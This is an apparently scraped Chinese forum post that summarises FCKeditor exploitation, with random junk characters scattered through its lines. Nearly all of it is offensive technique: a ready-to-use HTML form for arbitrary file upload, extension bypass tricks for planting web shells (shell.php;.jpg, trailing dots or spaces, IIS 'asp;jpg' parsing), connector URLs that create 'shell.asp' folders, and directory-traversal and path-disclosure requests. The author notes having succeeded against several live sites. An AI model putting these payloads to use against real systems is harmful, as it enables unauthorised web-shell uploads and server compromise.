Fckeditor漏洞利用总结 3 U; [" m6 p0 m1 z; v
查看编辑器版本
# W1 M% m+ {; iFCKeditor/_whatsnew.html
x" O& D3 q# z! [- L! K—————————————————————————————————————————————————————————————9 K- V K$ Z5 Y' J) Y* O( j5 V9 L
# T+ F3 q u- O% o& E& e8 L2. Version 2.2 版本
, e) X. {6 q! J9 n# U8 o2 F) mApache+linux 环境下在上传文件后面加个.突破!测试通过。
" K( }6 o) z" p. \# T% p—————————————————————————————————————————————————————————————9 |5 b" h$ V' p3 O* m
1 ^1 ^# M% t# G' s
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
( Y+ e# e7 c6 K+ p7 h* r8 v: h( P<form id="frmUpload" enctype="multipart/form-data"
5 L8 t7 {, V4 H& S1 ?" C- saction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
1 H i8 Y: e& ^7 i<input type="file" name="NewFile" size="50"><br>
; x/ f* M& j4 P8 `5 ]' D; [1 j; ]<input id="btnUpload" type="submit" value="Upload">7 q4 M0 O, x; K4 N' d$ t
</form>/ S1 M- `9 q5 L$ h0 e
—————————————————————————————————————————————————————————————, w' l% w, S* J0 `; G& O+ `
' ?# r( r; o' M+ J0 p0 u
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
' }, _2 X/ R3 P. a 很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
8 ~: \- l( X$ y, p/ Z 4.1:提交shell.php+空格绕过
0 I/ o- d5 v+ f4 i! m; }6 s0 ^不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。' K+ @, w) G7 e% Y" i
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。0 G% V7 G$ y1 [" J# W
—————————————————————————————————————————————————————————————
) n7 _0 |6 ?8 Q
4 J$ z; ]! D# Y5. 突破建立文件夹4 E. X+ e* _9 r0 _8 V# w' k
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
* {: A% A. O1 w) O) d7 zFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
8 v8 b8 b# z/ [( K/ ? A+ ~% P—————————————————————————————————————————————————————————————
: i- ]0 m. s* Q y# Q, y0 t( B0 `5 Y+ a& U K; T$ l" U
6. FCKeditor 中test 文件的上传地址
6 o/ K1 V$ Q/ Y4 q3 \ ?5 tFCKeditor/editor/filemanager/browser/default/connectors/test.html6 g& y0 _) C8 P- v& `0 N1 s% J
FCKeditor/editor/filemanager/upload/test.html; }5 T: g/ z$ C: x( m5 k3 E
FCKeditor/editor/filemanager/connectors/test.html0 g8 o: N3 p' T" }& _" ~$ P
FCKeditor/editor/filemanager/connectors/uploadtest.html
4 z4 g- y2 B( n$ }& B$ \% D% v/ a—————————————————————————————————————————————————————————————9 o- z8 N$ v. `
4 t1 Z( n; z u& N% B1 ?& C) ?7.常用上传地址
# m/ _. {2 D9 K3 }1 f" h5 RFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/, g1 {( @+ n+ M
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
; F# X7 i9 n5 o7 iFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
% g: L* h( T8 k/ h$ q( P: YJSP 版:
: o) Z2 W0 ?" e4 V0 ~FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp% C2 [8 j1 s' ~& n" |$ g# C. A
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文2 Q- B) o) ~0 p& A: g
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
+ W0 n7 ? D; e$ f3 b—————————————————————————————————————————————————————————————
4 j( |& `0 {. \: i
5 E" u; A3 d4 O! K \7 }, I9 ^8.其他上传地址% U: I; Z0 a8 E( A' Z
FCKeditor/_samples/default.html! s) m# |6 H* ^" t, l( j- a
FCKeditor/_samples/asp/sample01.asp6 `; @7 \" }8 J6 N
FCKeditor/_samples/asp/sample02.asp
3 x. k9 j6 V) A, x- N- V$ c/ ?FCKeditor/_samples/asp/sample03.asp% B1 L3 b- Q/ {: B: i* @
FCKeditor/_samples/asp/sample04.asp I1 H* b* |0 v- H/ k
一般很多站点都已删除_samples 目录,可以试试。
& i: X# U1 D/ O. w" a* eFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。2 |: e" t8 q: @+ l6 [
—————————————————————————————————————————————————————————————1 ` i- q& q/ ?( j! r0 }. z
4 ^' U. s7 z2 S7 u' b4 T m0 k9.列目录漏洞也可助找上传地址
' I; R; }9 o& VVersion 2.4.1 测试通过
4 C/ Q# P- \! Z. ?. J b" |修改CurrentFolder 参数使用 ../../来进入不同的目录
0 ~1 X, G7 P. G% `1 X) I/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
$ T8 g$ i5 B1 h. O# s根据返回的XML 信息可以查看网站所有的目录。# ~( R9 J2 O2 x$ J
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F/ k; }+ t/ V( |
也可以直接浏览盘符:$ i% v/ O2 ]* [( E2 F$ Z2 b
JSP 版本:
. y9 W, u' h3 l# QFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
) \3 }& K. I2 k' k0 {) I2 E3 D—————————————————————————————————————————————————————————————1 P9 e \6 x0 o4 D
# [: P- |# v l) n% B
10.爆路径漏洞8 S# e- Q1 T7 Y; {6 c) j: E2 a
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
8 ?# K4 u: t1 {2 ~/ A" ~—————————————————————————————————————————————————————————————
; b6 N+ r8 R; ?6 v0 s; {$ C1 w. E, B7 n) P
11. FCKeditor 被动限制策略所导致的过滤不严问题
. g& x* J: ?+ r( L. y2 Z 影响版本: FCKeditor x.x <= FCKeditor v2.4.36 u% {6 r$ d! G; d2 D
脆弱描述:
* R, z+ l1 v4 ~6 y9 d: r% y8 ^FCKeditor v2.4.3 中File 类别默认拒绝上传类型:
* S. [: M* @! r/ {. ^ B" g6 h2 Mhtml|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
: M7 E- h* M" ]9 J1 i+ OFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
% ^9 q2 e0 L: ?# }, k& n7 M 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。' H6 P! F$ m8 w8 ?; w
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!# _: b: z3 j5 V
—————————————————————————————————————————————————————————————* J4 _& {) C% C- ]
$ T- ]; d+ \5 T- o, t. g- C
12.最古老的漏洞,Type文件没有限制!
$ u2 C' B2 o, S( m 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! 5 q9 Z7 ~/ e9 `1 s
—————————————————————————————————————————————————————————————& A6 w0 R4 v% A; z7 i. ]. D
2 r- p+ Q- b+ W4 d6 b2 E1 c===============================================================================================================================================; C7 o. u" ?4 O m0 U
* Q, Y; S, a- Q1 P( @0 L
FCK编辑器jsp版本漏洞:
( ~' }+ A6 A5 V/ _/ |1 z2 q$ H8 l5 q
6 b8 d8 P( J, N9 q) X* @9 K
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
* x; l: n6 G. O8 ?* t, j0 e8 e# A! s- O- d3 A `7 B* B" [9 r4 E
上传马所在目录
. q% Y1 \# Y/ o. o8 AFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/. x& k! B; x" b1 m& h
上传shell的地址:: P& Q4 ?3 b9 ~+ y
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector
+ G5 g0 G2 W/ D% P/ _' a跟版本有关系.并不是百分百成功. 测试成功几个站." M; O) Y+ C4 s8 |( ^% U/ V3 }! x1 q! d
不能通杀.很遗憾.
1 q. r* k. B6 a' O6 Fhttp://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector
5 @* k4 g2 E3 ?6 {# B: b% G1 ]如果以上地址不行可以试试
2 ~2 q: @: W- J% q* V8 _FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector: ]; E5 h, [9 {: O. y
FCKeditor/_samples/
7 n8 G' O2 X$ \- J# L$ |FCKeditor/_samples/default.html7 X: y& u. K$ a9 _
FCKeditor/editor/fckeditor.htm5 i% |5 h& x0 v V8 c
FCKeditor/editor/fckdialog.html9 z" Y3 G3 S% ~" A! @" d6 Z' t
" q% R' Y; `+ K8 U7 b7 M
% Y# `/ J8 d' A, B' I5 k6 C. z5 ^* ^
9 n4 u6 d$ I6 u2 {" Y, M2 g解析漏洞+未重命名文件时上传漏洞 1.asp;jpg) W9 ?8 n6 l% y$ W1 L) r6 x
|